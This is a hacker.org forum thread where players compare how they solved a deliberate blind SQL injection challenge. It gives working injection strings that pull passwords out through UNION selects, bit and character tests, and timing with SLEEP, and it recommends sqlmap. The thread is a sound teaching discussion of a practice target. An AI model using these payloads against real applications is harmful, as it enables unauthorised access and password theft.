Inscrutable

Discussion of challenges you have already solved
Post Reply
MerickOWA
Posts: 182
Joined: Mon Apr 07, 2008 5:54 pm
Location: HkRkoz al KuwaiT 2019 HaCkEr 101

Inscrutable

Post by MerickOWA »

Very enjoyable series of problems :)

I knew the idea of sql injection but never actually attempted to use it before. Was a neat lesson, I'd be curious as to what causes the
Unknown column 'grtPW4h4ck3rzYO' in 'where clause'
If you use
' UNION SELECT password FROM user --
as the name on the "Forced Entry" page. I was happy to see the password in the plain text, but have no idea what php code caused that error.
MerickOWA
Posts: 182
Joined: Mon Apr 07, 2008 5:54 pm
Location: HkRkoz al KuwaiT 2019 HaCkEr 101

Post by MerickOWA »

I ended up writing a program to do a binary search on each character of the password. Was really kinda fun ;) Just goes to show you what is possible even without any error messages and a little bit of guess work.
gfoot
Posts: 269
Joined: Wed Sep 05, 2007 11:34 pm
Location: Brighton, UK

Post by gfoot »

I think a binary search is the right way to do this. What did you use for feedback? The idea was to not give any visible feedback on success, failure, or unparsability of the query. I think there ended up being a few holes though.
MerickOWA
Posts: 182
Joined: Mon Apr 07, 2008 5:54 pm
Location: HkRkoz al KuwaiT 2019 HaCkEr 101

Post by MerickOWA »

I used 'logged in' as feedback.

Basically I made the sql query that was being constructed search for a bogus username, then tacked on a union select which always gave the result 'test' and conditionalized it with a WHERE and a sub query which grabbed the password for root, stripped out a particular character and tested to see if it was below a particular number.

If it failed that test, my union select failed and returned no results which meant i got a error, otherwise I got the result 'test' which matched the query and got a 'logged in' result.
User avatar
efe
Posts: 45
Joined: Sun Oct 26, 2008 10:28 am
Location: germany

Post by efe »

I simply used the response time as feedback for my binary search.
The SLEEP() function is very useful for this.
BENCHMARK() could also be used but this function is not allowed here.
therethinker
Posts: 144
Joined: Fri Mar 28, 2008 11:29 pm
Location: #hacker.org on Freenode

Post by therethinker »

I tried using binary search something wierd happened and I got "uifmvwuibucvsot". So I ended up doing it by hand. On the last one I did "binary" search by hand (but not really binary, more like 10's). So I used LIKE '% %' to figure out all the characters that were in it (thankfully all lowercase!) then I used it to start from 1 and expand.

Example:

root' AND password LIKE 'th%' UNION SELECT '1
And 1 as the password.
tails
Posts: 191
Joined: Tue Jun 10, 2008 7:51 pm
Location: Tokyo

Post by tails »

Hi! :D

MerickOWA, I guess the code is like:
SELECT id FROM user WHERE name = '$name'
SELECT password FROM user WHERE id = $id
User avatar
ffaadd
Posts: 4
Joined: Tue Feb 24, 2009 12:18 pm

Post by ffaadd »

hi,

nice challange. I've learned new techniques to get response from SQL-Injections.

I've done this with something like that

Code: Select all

 root' AND IF(ASCII(SUBSTRING(password,$x,1))=$n,SLEEP(2),1) or 1='1
$x is the postion of the character an $n is the ascii-code.

ciao,
ffaadd
harvestsnow
Posts: 8
Joined: Mon Nov 21, 2011 9:15 pm

Post by harvestsnow »

Hello,

For the injection, I used

Code: Select all

'UNION SELECT (ASCII(SUBSTR(password, $index,1))>>$shift)&1 FROM user where name='root'#
, with 1 as password.

And there's a way to get the source of the page, I don't know if it's intended.
User avatar
dangermouse
Posts: 89
Joined: Sun Jun 05, 2011 8:14 pm
Location: deep space computing AG
Contact:

Post by dangermouse »

some UNION hints here do not work anymore...

i did like the others with manual binary search using ASCII(), LENGTH(), SUBSTR() and lot of count(*). i also used yes/no questions on the information_schema table to retrieve the right table and schema :shock:

i wonder if there is some good tool to automate all this yes/no stuff?

anyway, nice challenge!
Learn the rules if you want to break them effectively. Dalai Lama XV
Roogley
Posts: 1
Joined: Sat Dec 29, 2012 3:42 pm

Post by Roogley »

dangermouse wrote:i wonder if there is some good tool to automate all this yes/no stuff?
Just take a look at sqlmap.

But since we're on hacker.org, what about cheating and just re-using the Fort Knox exploit?
I used the following username on Fort Knox:

Code: Select all

' UNION SELECT password FROM injecto2.user#
haellowyyn
Posts: 6
Joined: Thu Jan 03, 2013 12:13 am

Post by haellowyyn »

I had exactly the same idea as Roogley. Since all three challenges are on the same database server, you can simply retrieve the password from one of the former challenges. sqlmap makes that ridiculously easy.
gandhi
Posts: 7
Joined: Thu Nov 25, 2010 7:56 pm

Post by gandhi »

sqlmap reveald vulnerability for time based injection.

used following string for the user field:
root' and if((select mid(password,16,1) from user limit 0,1)='z',sleep(10),1) AND 'kzQg'='kzqg’
--------------------------------------------------------------------x------x

and a script to loop through the alphabet and the positions of the password

:wink:
aurora
Posts: 54
Joined: Thu Feb 05, 2009 12:31 pm
Location: Bavaria, Germany

Post by aurora »

gandhi wrote:sqlmap reveald vulnerability for time based injection.

used following string for the user field:
root' and if((select mid(password,16,1) from user limit 0,1)='z',sleep(10),1) AND 'kzQg'='kzqg’
--------------------------------------------------------------------x------x

and a script to loop through the alphabet and the positions of the password

:wink:
i let sqlmap do the rest, too :wink: ... was very interesting to see, how powerful sqlmap is.
destiny
Posts: 25
Joined: Thu Jul 03, 2014 4:08 pm
Location: UK

Post by destiny »

Very nice challenge since I never knew about time based attacks. I used sqlmap to help me confirm my suspicions about sleep() and I found a nice article (http://www.rafayhackingarticles.net/201 ... based.html) explaining how to exploit it 8)

Edit: now I see that I could have done this easily with the dump option in sqlmap, but it was good to understand how it works rather than just by magic
Post Reply